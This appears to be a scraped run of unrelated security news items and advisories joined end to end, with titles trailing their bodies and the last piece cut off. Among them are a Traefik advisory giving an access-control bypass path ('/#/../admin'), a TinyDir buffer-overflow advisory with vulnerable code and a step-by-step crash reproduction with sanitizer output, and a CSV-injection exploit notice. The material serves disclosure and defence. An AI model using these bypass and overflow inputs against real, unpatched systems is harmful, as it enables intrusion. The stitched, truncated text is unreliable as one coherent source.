Traefik is an open source HTTP reverse proxy and load balancer. When a request is sent to Traefik with a URL fragment, Traefik automatically URL encodes and forwards the fragment to the backend server. This violates RFC 7230 because in the origin-form the URL should only contain the absolute path and the query. When this is combined with another frontend proxy like Nginx, it can be used to bypass frontend proxy URI-based access control restrictions. This vulnerability has been addressed in versions 2.10.6 and 3.0.0-beta5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

**Summary**

When a request is sent to Traefik with a URL fragment, Traefik automatically URL encodes and forwards the fragment to the backend server. This violates the RFC because in the origin-form the URL should only contain the absolute path and the query.

When this is combined with another frontend proxy like Nginx, it can be used to bypass frontend proxy URI-based access control  
restrictions.

**Details**

For example, we have this Nginx configuration:

    location /admin {
         deny all;
         return 403;
    }
    

This can be bypassed when the attacker is requesting to /#/../admin

This won’t be vulnerable if the backend server follows the RFC and ignores any characters after the fragment.

However, if Nginx is chained with another reverse proxy which automatically URL encode the character # (Traefik) the URL will become

/%23/../admin

And allow the attacker to completely bypass the Access Restriction from the Nginx Front-End proxy.

Here is a diagram to summarize the attack:

**PoC**

This is the POC docker I've set up. It contains Nginx, Traefik proxies and a backend server running PHP.

https://drive.google.com/file/d/1vLnA0g7N7ZKhLNmHmuJ4JJjV\_J2akNMt/view?usp=sharing

**Impact**

This allows the attacker to completely bypass the Access Restriction from Front-End proxy.

CVE-2023-47106: Incorrect processing of fragment in the URL leads to Authorization Bypass

The DNA testing company believes that the attack has now been contained and is notifying impacted individuals.

Source: MichelMond via Alamy Stock Photo

DNA testing company 23andMe has released further details surrounding an October data breach, where user profile information had been accessed and downloaded at the hands of a threat actor.

On Oct. 1, a threat actor made a post on the Dark Web claiming to possess profile information of 23andMe users; later, the perpetrators released 4 million more records they alleged to be stolen from the company. This led the company to launch an investigation alongside third-party experts. In light of the investigation, 23andMe now reports that the information that was accessed without authorization is a small percentage of user accounts (0.1%).

It also confirmed that the incident was a credential-stuffing attack in which usernames and passwords used for the 23andMe website were the same credentials used for other websites, from which they were stolen.

The compromised information varies from user to user but includes ancestry and health information. The threat actor also accessed user files related to 23andMe's DNA Relatives feature and proceeded to post this information online. 

23andMe now believes that the activity of the threat actor has been contained and is providing notice to impacted individuals. It also requires password changes from its users and implemented a two-step authentication login process for its website. 

Multiple class action claims have been filed against the company, and it expects to spend anywhere between $1 million to $2 million in expenses related to the breach in its third fiscal quarter. 

"The recent breach at 23andMe is a sobering reminder of the sensitivity of genetic data and the need for robust cybersecurity measures. The data accessed is not just a collection of email addresses or passwords but intimate details of an individual's genetic makeup — information that could have serious implications for privacy and could potentially be misused," Javvad Malik, lead security awareness advocate at KnowBe4, wrote in an emailed statement. "Credential stuffing is a known threat and relies on the reuse of passwords across multiple services, highlighting the importance of unique passwords and the use of multifactor authentication to protect accounts — but this incident also shows that the responsibility doesn't end with the end-user. Companies holding such sensitive data must constantly evaluate their security posture and educate users about the best security practices."

23andMe: Data Breach Was a Credential-Stuffing Attack

By Waqas
Forest Blizzard (aka STRONTIUM, APT28, and Fancy Bear) is thought to have affiliations with or support from the Russian military intelligence agency.
This is a post from HackRead.com Read the original post: Microsoft Outlook Vulnerability Exploited by Russian Forest Blizzard Group

Microsoft urges customers to install Exchange Server security patch and update WinRAR to thwart Forest Blizzard hackers.

In March 2023, Microsoft’s Threat Protection Intelligence team identified a critical vulnerability (**CVE-2023-23397**) that exposed Microsoft Outlook customers to potential exploitation by threat actors. The vulnerability allowed attackers to steal Net-NTLMv2 hashes and gain access to user accounts.

The vulnerability is caused by a specially crafted email message sent to a user. Upon opening the message, the user’s Net-NTLMv2 hash is transmitted to the attacker, who can subsequently leverage the hash to pilfer the user’s password.

Threat actor exploiting the vulnerability to gain unauthorized access to Exchange Server (1) – Threat actor activity to extend their access in a compromised environment by using a compromised e-mail account (2) (Credit: Microsoft)

Now, in an updated **blog post**, the team has revealed that it has found evidence that the vulnerability has been exploited by the threat actor group Forest Blizzard (aka **STRONTIUM**, **APT28**, and **Fancy Bear**) to attack organizations.

For your information, the group is thought to have affiliations with or support from the Russian military intelligence agency. Notably, this is the same group allegedly led by Russian GRU officer Lieutenant Colonel Sergey Alexandrovich Morgachev, whose email address was compromised by the Ukrainian hacktivist group Cyber Resistance **in April 2023**.

Forest Blizzard is known for its focus on critical infrastructure, including government entities, energy sectors, transportation systems, and non-governmental organizations. Its operations extend to the Middle East, the United States, and Europe.

In its December 4 blog post Microsoft also highlighted that as of September 2023, Forest Blizzard had exploited a 0-day vulnerability in WinRAR, which was initially identified in August 2023 (**CVE-2023-38831**). By that time, multiple Advanced Persistent Threat (APT) groups had already targeted 130 organizations, successfully pilfering funds from traders.

Despite the availability of a **patch for WinRAR’s 0-day vulnerability**, threat actors persist in targeting systems that continue to use the unpatched version of the software.

The good news is that Microsoft **collaborated** with the Polish Cyber Command (DKWOC) to counter Forest Blizzard’s actions. At the time of writing, Microsoft had released a patch for the vulnerability (CVE-2023-23397).

The **patch is available** for all supported versions of Outlook. Users are urged to install the patch as soon as possible.

****Takeaway****

Microsoft Exchange customers should promptly install the latest security patches and update to the latest version. Users of WinRAR are also advised to update to mitigate the risk of falling victim to the Forest Blizzard APT group.

In addition to installing the patch, users can also take the following steps to protect themselves from this vulnerability:

*   Use a strong password for your Outlook account.
*   Be careful about the email messages that you open. 
*   Enable two-factor authentication for your Outlook account.
*   Do not open email messages from unknown senders or email messages that contain attachments.

****_RELATED ARTICLES_****

1.  **Fancy Bears Hacked IAAF – Athletes’ Data Stolen**
2.  **Fancy Bear’s VPNfilter malware is back with 7 new modules**
3.  **Anti-theft software LoJack hijacked by Russian Fancy Bear group**
4.  **Ukraine Hacks Russia’s Aviation Agency, Claims “Aviation Cannibalism”**
5.  **Fancy Bear Hackers Distributing Graphite Malware using PowerPoint Files**

Microsoft Outlook Vulnerability Exploited by Russian Forest Blizzard Group

Multiple agencies warn that attackers have been active since Nov. 22, targeting operational technology (OT) across the US.

Source: roibu via Alamy Stock Photo

Critical infrastructure in multiple US states may have been compromised by Iran-affiliated attackers targeting programmable logic controllers (PLCs).

A warning from the FBI, Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), the Environmental Protection Agency (EPA), and the Israel National Cyber Directorate comes after an attack was detected on a Pennsylvania water authority last week, where the CyberAv3ngers threat group hacked Unitronics Vision Series PLCs.

Researchers believe that the CyberAv3ngers are affiliated with Iranian Government Islamic Revolutionary Guard Corps (IRGC), and are politically motivated to go after the Unitronics PLCs, which have components that are Israeli-owned.

The national intelligence and security agencies are now warning that the attacks extend beyond the Keystone State; beginning on Nov. 22, the cyber actors accessed multiple US-based facilities that utilize Unitronic PLCs with human machine interfaces (including water and wastewater installations), likely by compromising Internet-accessible devices with default passwords. Worse, the attackers may have had access for more than 10 days.

These compromised devices are often exposed to external Internet connectivity due to the remote nature of their control and monitoring functionalities, and by default are on TCP port 20256. Any compromise could render the PLC inoperative, which could lead to the shutdown of the operational technology (OT) responsible for the physical workings of utilities and other industrial control facilities.

The agencies say it is not known whether attackers dug deeper into these PLCs, but warned any organizations running these controllers to evaluate their systems.

**About the Author(s)**

With more than 20 years experience of B2B journalism, including 12 years covering cybersecurity, Dan Raywood brings a wealth of experience and information security knowledge to the table. He has covered everything from the rise of APTs, nation-state hackers, and hacktivists, to data breaches and the increase in government regulation to better protect citizens and hold businesses to account. Dan is based in the U.K., and when not working, he spends his time stopping his cats from walking over his keyboard and worrying about the (Tottenham) Spurs’ next match.

Pro-Iran Attackers Access Multiple Water Facility Controllers

This week on the Lock and Code podcast, we speak with Allan Liska about why a ransomware group tattled on its own victim, and what to expect next year.

_This week on the Lock and Code podcast…_

Like the grade-school dweeb who reminds their teacher to assign tonight’s homework, or the power-tripping homeowner who threatens every neighbor with an HOA citation, the ransomware group ALPHV can now add itself to a shameful roster of pathetic, little tattle-tales.

In November, the ransomware gang ALPHV, which also goes by the name Black Cat, notified the US Securities and Exchange Commission about the Costa Mesa-based software company MeridianLink, alleging that the company had failed to notify the government about a data breach. Under newly announced rules by the US Securities and Exchange Commission (SEC), public companies will be expected to notify the government agency about “material cybersecurity incidents” within four days of determining whether such an incident could have impacted the company’s stock prices or any investment decisions from the public.

According to ALPHV, MeridianLink had violated that rule. But how did ALPHV know about this alleged breach?

Simple. They claimed to have done it.

“It has come to our attention that MeridianLink, in light of a significant breach compromising customer data and operational information, has failed to file the requisite disclosure under Item 1.05 of Form 8-K within the stipulated four business days, as mandated by the new SEC rules,” wrote ALPHV in a complaint that the group claimed to have filed with the US government.

The victim, MeridianLink, refuted the claims. According to a MeridianLink spokesperson, while the company confirmed a cybersecurity incident, it denied the severity of the incident.

“Based on our investigation to date, we have identified no evidence of unauthorized access to our production platforms, and the incident has caused minimal business interruption,” a MeridianLink spokesperson said at the time. “If we determine that any consumer personal information was involved in this incident, we will provide notifications as required by law.”

This week on the Lock and Code podcast with host David Ruiz, we speak to Recorded Future intelligence analyst Allan Liska about what ALPHV could hope to accomplish with its SEC complaint, whether similar threats have been made in the past under other regulatory regime, and what organizations everywhere should know about ransomware attacks going into the new year. One big takeaway, Liska said, is that attacks are getting bigger, bolder, and brasher.

“There are no protections anymore,” Liska said. “For a while, some ransomware actors were like, ‘No, we won’t go after hospitals, or we won’t do this, or we won’t do that.’ Those protections all seem to have flown out the window, and they’ll go after anything and anyone that will make them money. It doesn’t matter how small they are or how big they are.”

Liska continued:

> “We’ve seen ransomware actors go after food banks. You’re not going to get a ransom from a food bank. Don’t do that.”

Tune in today to listen to the full conversation.

You can also find us on Apple Podcasts, Spotify, and Google Podcasts, plus whatever preferred podcast platform you use.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Why a ransomware gang tattled on its victim, with Allan Liska: Lock and Code S04E24 

By Deeba Ahmed
Vidar infostealer is capable of stealing browsing data, including passwords, cryptocurrency wallet credentials, and other personal information.
This is a post from HackRead.com Read the original post: Sophisticated Booking.com Scam Targeting Guests with Vidar Infostealer

The ‘How To’ guide for targeting Booking.com customers is being offered for sale on the dark web, as well as on underground cybercrime forums, including Russian-speaking platforms such as XSS.IS.

Cybersecurity firm Secureworks is alerting Booking.com customers to a recently identified scam wherein hotels’ Booking.com accounts are compromised to deceive users into divulging their payment details.

This fraudulent activity was detected in October 2023. Researchers have observed that cybercriminals successfully obtained access to hotel login credentials through the utilization of the **Vidar information stealer**.

While this tool is not commonly employed in such scams, in this instance, the Vidar infostealer is utilized to infiltrate the hotel’s Booking.com portal. This unauthorized access enables cybercriminals to peruse upcoming bookings and communicate directly with guests while posing as hotel staff.

Researchers from Secureworks Counter Threat Unit™ (CTU) suspect that this may be part of a broader campaign specifically aimed at targeting Booking.com users. The purloined data is presumed to be traded on underground marketplaces or forums, where it can command a higher price due to the increased potential for defrauding unsuspecting guests.

Characterizing it as a sophisticatedly crafted scam, researchers highlight that the hackers devised an email aimed at gaining the trust of **hotel employees**. The deceptive message purportedly originated from a former guest who reported losing their ID or other valuables, seeking assistance from the hotel staff to locate the items.

The subtlety of this approach meant the employee did not find it suspicious, especially since the email lacked attachments or dubious links, creating the illusion of a genuine request. Consequently, the employee responded and offered assistance.

However, a link within the email, allegedly containing a photo of the lost item, actually served to install the Vidar infostealer. Once activated, this malware illicitly acquires the hotel’s Booking.com login credentials, facilitating unauthorized access to guest reservation details.

The hook in this scam creates a sense of urgency for the guests. The attacker contacts those having reservations at the hotel through Booking.com. Guests receive urgent emails from the hotel demanding immediate payment confirmation to avoid booking cancellation. This doesn’t raise any suspicions.

Rather, it panics the guests, and they click on the provided link. According to Secureworks’ **report**, this leads them to a fake website designed to look like Booking.com, which was created to steal their payment data.

The scammers scam the guests by draining their accounts using the stolen payment data. Moreover, they sell Booking.com credentials on the **Dark Web** for up to $2,000.

The Booking.com phishing email and one of the forums selling Booking.com exploit (Screenshot credit: Secureworks)

Although Booking.com hasn’t been directly breached, the company is cooperating with impacted hotels to improve security and help affected customers. The company emphasized using machine learning to detect suspicious activity and advised hotels and customers to stay vigilant and never provide payment details without verifying the website.

“Due to the rigorous controls and the machine learning capabilities we employ, we can detect and block the overwhelming majority of suspicious activity before it impacts our partners or customers. We have also been sharing additional tips and updates with our partners about what they can do to protect themselves and their businesses, along with the latest information on malware and phishing so that they are as up-to-date as possible on the latest trends that we’re seeing.”

“It’s good to remember that no legitimate transaction will ever require a customer to provide their credit card details by phone, email, or text message (including WhatsApp)”, Booking.com stated.

This incident highlights the evolving tactics of cybercriminals and the importance of vigilance, even for seemingly harmless requests. Hotels should be especially cautious of suspicious emails and enable multi-factor authentication on Booking.com and other platforms to add an extra layer of security.

**Chris Hauk**, Consumer Privacy Advocate at Pixel Privacy, shared his comments with Hackread.com, stating that this scam is designed to target hotels with good reputations.

“This scam preys on hotels that offer good customer service, making the hotel employees believe that they are aiding a customer in retrieving a lost item. This is the first time I’ve heard of scammers taking that approach. The second step in the scam involves using a customer’s Booking.com information to convince the customer that they need to make a payment immediately.”

“Organizations like Booking.com need to work with their partners to ensure that all systems and applications are kept up to date to close security holes. Also, employee training to make them aware of how scammers work is also a must” Hauk added.

****_RELATED ARTICLES_****

1.  **The Benefits Of Blockchain In The Travel Industry**
2.  **Newly Surfaced ThirdEye Infostealer Targeting Windows Devices**
3.  **Fake ChatGPT and AI pages on Facebook are spreading infostealers**
4.  **Hotel reservation platform leaks user data from top online booking sites**
5.  **Hackers steal sensitive data from Japanese search engine for sex hotels**

Sophisticated Booking.com Scam Targeting Guests with Vidar Infostealer

Come up with a clever cybersecurity-related caption, and our panel of experts will reward the winner with a $25 Amazon gift card.

Is any job worth this much work? Come up with a cybersecurity-related caption to describe the scene above. Our favorite submission will win a $25 Amazon gift card.

The contest ends on Dec. 27, 2023. Here are four easy ways to submit your ideas:

**Last Month's Winner**

The winning caption for November's "Out for the Count" cartoon comes courtesy of Paul Mauriks, ICT security specialist, technology solutions, at the Department of Justice and Community Safety in Victoria, Australia. Congrats, Paul, and thanks to all who played!

**About the Author(s)**

Cartoonist

John Klossner has been drawing technology cartoons for more than 15 years. His work regularly appears in Computerworld and Federal Computer Week. His illustrations and cartoons have also been published in The New Yorker, Barron's, and The Wall Street Journal.

Name That Edge Toon: On Your Mark...

TinyDir versions 1.2.5 and below suffer from a buffer overflow vulnerability with long path names.

--[ HNS-2023-04 - HN Security Advisory - https://security.humanativaspa.it/

* Title: Buffer overflow vulnerabilities with long path names in TinyDir  
* Product: TinyDir <= 1.2.5  
* Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it>  
* Date: 2023-12-04  
* CVE ID: CVE-2023-49287  
* Severity: High - 7.7 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H  
* Vendor URL: https://github.com/cxong/tinydir  
* Advisory URL: https://github.com/cxong/tinydir/security/advisories/GHSA-jf5r-wgf4-qhxf

--[ 0 - Table of contents

1 - Summary  
2 - Background  
3 - Vulnerabilities  
4 - Proof of concept  
5 - Affected products  
6 - Remediation  
7 - Disclosure timeline  
8 - Acknowledgements  
9 - References

--[ 1 - Summary

"This is the OG we all want to be, congrats on 20yrs of (public) vulns!"  
                                                         -- Erik Cabetas

TinyDir is a lightweight, portable and easy to integrate C directory and  
file reader. It wraps dirent for POSIX and FindFirstFile for Windows.

We reviewed TinyDir's source code hosted on GitHub [1] and identified some  
security vulnerabilities that may cause memory corruption. Their impacts  
range from denial of service to potential arbitrary code execution.

--[ 2 - Background

While auditing another codebase, we noticed that it included TinyDir.  
Since this small but successful project is used in hundreds of repositories  
[2], we decided to review it in search of security bugs.

--[ 3 - Vulnerabilities

We spotted some buffer overflow vulnerabilities with long path names in the  
tinydir_file_open() function, at the marked locations in the following  
source code listing:

```c  
/* Open a single file given its path */  
_TINYDIR_FUNC  
int tinydir_file_open(tinydir_file *file, const _tinydir_char_t *path)  
{  
  tinydir_dir dir;  
  int result = 0;  
  int found = 0;  
  _tinydir_char_t dir_name_buf[_TINYDIR_PATH_MAX];  
  _tinydir_char_t file_name_buf[_TINYDIR_FILENAME_MAX];  
  _tinydir_char_t *dir_name;  
  _tinydir_char_t *base_name;  
#if (defined _MSC_VER || defined __MINGW32__)  
  _tinydir_char_t drive_buf[_TINYDIR_PATH_MAX];  
  _tinydir_char_t ext_buf[_TINYDIR_FILENAME_MAX];  
#endif

  if (file == NULL || path == NULL || _tinydir_strlen(path) == 0)  
  {  
    errno = EINVAL;  
    return -1;  
  }  
  if (_tinydir_strlen(path) + _TINYDIR_PATH_EXTRA >= _TINYDIR_PATH_MAX)  
  {  
    errno = ENAMETOOLONG;  
    return -1;  
  }

  /* Get the parent path */  
#if (defined _MSC_VER || defined __MINGW32__)  
#if ((defined _MSC_VER) && (_MSC_VER >= 1400))  
  errno = _tsplitpath_s(  
    path,  
    drive_buf, _TINYDIR_DRIVE_MAX,  
    dir_name_buf, _TINYDIR_FILENAME_MAX,  
    file_name_buf, _TINYDIR_FILENAME_MAX,  
    ext_buf, _TINYDIR_FILENAME_MAX);  
#else  
  _tsplitpath(  
    path,  
    drive_buf,  
    dir_name_buf,  
    file_name_buf,  
    ext_buf); /* VULN: potential buffer overflow due to insecure splitpath() API  
                             (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170) */  
#endif

  if (errno)  
  {  
    return -1;  
  }

/* _splitpath_s not work fine with only filename and widechar support */  
#ifdef _UNICODE  
  if (drive_buf[0] == L'\xFEFE')  
    drive_buf[0] = '\0';  
  if (dir_name_buf[0] == L'\xFEFE')  
    dir_name_buf[0] = '\0';  
#endif

  /* Emulate the behavior of dirname by returning "." for dir name if it's  
  empty */  
  if (drive_buf[0] == '\0' && dir_name_buf[0] == '\0')  
  {  
    _tinydir_strcpy(dir_name_buf, TINYDIR_STRING("."));  
  }  
  /* Concatenate the drive letter and dir name to form full dir name */  
  _tinydir_strcat(drive_buf, dir_name_buf);  
  dir_name = drive_buf;  
  /* Concatenate the file name and extension to form base name */  
  _tinydir_strcat(file_name_buf, ext_buf); /* VULN: since sizeof(file_name_buf) + sizeof(ext_buf) is larger than  
                                                    sizeof(file_name_buf), we have a potential stack buffer overflow */  
  base_name = file_name_buf;  
#else  
  _tinydir_strcpy(dir_name_buf, path);  
  dir_name = dirname(dir_name_buf);  
  _tinydir_strcpy(file_name_buf, path); /* VULN: since sizeof(file_name_buf) is smaller than the maximum path length,   
                                                 we have a potential stack buffer overflow */  
  base_name = basename(file_name_buf);  
#endif

  /* Special case: if the path is a root dir, open the parent dir as the file */  
#if (defined _MSC_VER || defined __MINGW32__)  
  if (_tinydir_strlen(base_name) == 0)  
#else  
  if ((_tinydir_strcmp(base_name, TINYDIR_STRING("/"))) == 0)  
#endif  
  {  
    memset(file, 0, sizeof * file);  
    file->is_dir = 1;  
    file->is_reg = 0;  
    _tinydir_strcpy(file->path, dir_name);  
    file->extension = file->path + _tinydir_strlen(file->path);  
    return 0;  
  }

  /* Open the parent directory */  
  if (tinydir_open(&dir, dir_name) == -1)  
  {  
    return -1;  
  }

  /* Read through the parent directory and look for the file */  
  while (dir.has_next)  
  {  
    if (tinydir_readfile(&dir, file) == -1)  
    {  
      result = -1;  
      goto bail;  
    }  
    if (_tinydir_strcmp(file->name, base_name) == 0)  
    {  
      /* File found */  
      found = 1;  
      break;  
    }  
    tinydir_next(&dir);  
  }  
  if (!found)  
  {  
    result = -1;  
    errno = ENOENT;  
  }

bail:  
  tinydir_close(&dir);  
  return result;  
}  
```

--[ 4 - Proof of concept

Step-by-step instructions to replicate the third vulnerability on Linux:

```  
$ git clone https://github.com/cxong/tinydir  
$ cd tinydir/samples/  
$ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample  
$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/  
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Extension:   
Is dir? yes  
Is regular file? no  
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/  
=================================================================  
==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8  
WRITE of size 513 at 0x7ffd1ecabeb0 thread T0  
    #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440  
    #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711  
    #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12  
    #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58  
    #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392  
    #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4)

Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame  
    #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641

  This frame has 3 object(s):  
    [48, 4184) 'dir' (line 642)  
    [4448, 4704) 'file_name_buf' (line 646)  
    [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable  
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork  
      (longjmp and C++ exceptions *are* supported)  
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy  
Shadow bytes around the buggy address:  
  0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2  
  0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2  
  0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
=>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00  
  0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
Shadow byte legend (one shadow byte represents 8 application bytes):  
  Addressable:           00  
  Partially addressable: 01 02 03 04 05 06 07   
  Heap left redzone:       fa  
  Freed heap region:       fd  
  Stack left redzone:      f1  
  Stack mid redzone:       f2  
  Stack right redzone:     f3  
  Stack after return:      f5  
  Stack use after scope:   f8  
  Global redzone:          f9  
  Global init order:       f6  
  Poisoned by user:        f7  
  Container overflow:      fc  
  Array cookie:            ac  
  Intra object redzone:    bb  
  ASan internal:           fe  
  Left alloca redzone:     ca  
  Right alloca redzone:    cb  
  Shadow gap:              cc  
==2533==ABORTING  
```

--[ 5 - Affected products

TinyDir 1.2.5 and earlier versions are affected by the vulnerabilities  
discussed in this advisory.

--[ 6 - Remediation

TinyDir developers have released version 1.2.6 [3] that addresses the  
vulnerabilities discussed in this advisory.

Please check the official TinyDir channels for further information about  
fixes.

--[ 7 - Disclosure timeline

2023-11-30: Vulnerabilities reported via GitHub security advisories [4].  
2023-12-01: Proof of concept provided at the request of TinyDir developers.  
2023-12-02: Vulnerabilities fixed in TinyDir's master branch on GitHub.  
2023-12-03: TinyDir 1.2.6 released and GitHub advisory published.  
2023-12-04: GitHub issued CVE-2023-49287 and we published this advisory.

--[ 8 - Acknowledgements

We would like to thank TinyDir developers for triaging and quickly fixing  
the reported vulnerabilities.

--[ 9 - References

[1] https://github.com/cxong/tinydir  
[2] https://github.com/search?q=tinydir.h&type=code  
[3] https://github.com/cxong/tinydir/releases/tag/1.2.6  
[4] https://github.com/cxong/tinydir/security

Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.

TinyDir 1.2.5 Buffer Overflow

PHPJabbers Appointment Scheduler version 3.0 suffers from a CSV injection vulnerability.

    # Exploit Title: PHPJabbers Appointment Scheduler v3.0 - CSV Injection# Date: 19/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/appointment-scheduler/# Version: v3.0# Tested on: Windows 10, Windows 11, MS Office 2010# CVE-2023-48841Descriptions:PHPJabbers Appointment Scheduler v3.0 is vulnerable to CSV injectionvulnerability which allows an attacker to execute remote code. Thevulnerability exists due to insufficient input validation on theUnique ID field in the Reservations list that is used to construct aCSV file.Steps to Reproduce:1. Login your panel.2. Go to Options Menu then click Language then click Labels section.3. Now use CSV Injection Payload in any field and go to Import/Export.4. Now click export and open your system.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48841)

PHPJabbers Appointment Scheduler 3.0 CSV Injection

Why we should applaud the Red Cross's efforts, even if they likely won't work.

Source: Brain light via Alamy Stock Photo

The efforts of the International Committee of the Red Cross (ICRC) to establish rules of engagement to combatants in a cyberwar should be applauded internationally, even if adherence is likely to be limited. The ICRC recently released a set of rules for civilian hackers involved in conflicts to follow in order to clarify the line between civilians and combatants, as cyberspace can be a blurry place to work in — especially during a war. 

The ongoing conflict between Russia and Ukraine in particular has caused unprecedented numbers of civilian hackers to place themselves in the middle of the war, using their skills to fuel attacks on banks, manufacturing facilities, hospitals, and railways, in an attempt to sway the war to one side or another. Cyber vigilantism isn't a new concept, but the large scale of these nascent patriotic cyber "gangs" has given the ICRC reason to take action with the hope that that hackers on both sides adhere to these rules.

**Do's and Don'ts for Hacktivists**

ICRC's eight rules for "hacktivists" are:

1.  Do not direct cyberattacks against civilian objects.
    
2.  Do not use malware or other tools or techniques that spread automatically and damage military objectives and civilian objects indiscriminately.
    
3.  When planning a cyberattack against a military objective, do everything feasible to avoid or minimize the effects your operation may have on civilians.
    
